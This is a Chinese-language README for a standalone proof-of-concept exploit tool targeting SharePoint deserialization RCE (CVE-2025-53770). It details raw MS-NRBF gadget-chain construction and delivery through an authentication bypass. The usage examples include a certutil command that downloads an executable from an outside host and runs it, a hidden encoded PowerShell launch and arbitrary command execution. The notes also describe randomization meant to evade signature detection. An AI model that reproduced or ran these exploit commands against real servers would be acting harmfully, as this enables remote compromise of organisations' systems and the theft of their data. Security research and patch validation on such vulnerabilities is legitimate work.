OurSharePoint — CVE-2025-53770 PoC

独立自包含的单二进制 SharePoint RCE 工具。生成 TypeConfuseDelegate 利用链作为原始 MS-NRBF 字节（无需 ysoserial.exe），将其包装在 DataSet 反序列化载荷中，并通过 HTTP 利用身份验证绕过进行传递——全部一次性完成。

利用链

整个二进制流（包括外层的 DataSet 包装器和内部的 TypeConfuseDelegate 利用链）均作为原始 MS-NRBF 记录构建——未使用 .NET 运行时序列化。这与 Metasploit 模块生成的格式逐字节匹配。

构建

需要 .NET Framework 4.8 SDK（Visual Studio 2022 或独立 Build Tools）：

& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

输出：OurSharePoint\bin\Release\OurSharePoint.exe（单个文件，无依赖）

用法

一次性：分段加载并执行

OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

简单命令执行

OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

PowerShell 静默加载

OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

仅侦察（无载荷）

OurSharePoint.exe --target=https://sp.corp.com --check

离线构建载荷文件

OurSharePoint.exe --cmd="calc.exe" --out=exploit

通过代理（Burp）

OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

传统方式：外部 ysoserial.exe 载荷

ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

选项

输出文件

当使用 --out 时，工具会写入以下文件：

受影响版本

实现说明

• 无运行时序列化 — DataSet 包装器和 TypeConfuseDelegate 利用链均使用 BinaryWriter 作为原始 MS-NRBF 二进制记录写入。这避免了 .NET 运行时序列化输出与目标反序列化器预期之间的差异。
• LosFormatter 框架 — 内部利用链使用 ObjectStateFormatter 头字节（0xFF 0x01 0x32 + 7 位长度）进行包装，而非使用 LosFormatter.Serialize()。
• 单个二进制文件 — 无需外部工具、DLL 或 Python 脚本。.exe 完全独立自包含。
• 随机化 — XML 标签前缀和 DataSet 元素名称在每次执行时随机化，以避免签名检测。

参考

• Eye Security — SharePoint Under Siege
• Metasploit PR #20409 — sharepoint_toolpane_rce
• MS-NRBF 规范
• pwntester/ysoserial.net — TypeConfuseDelegate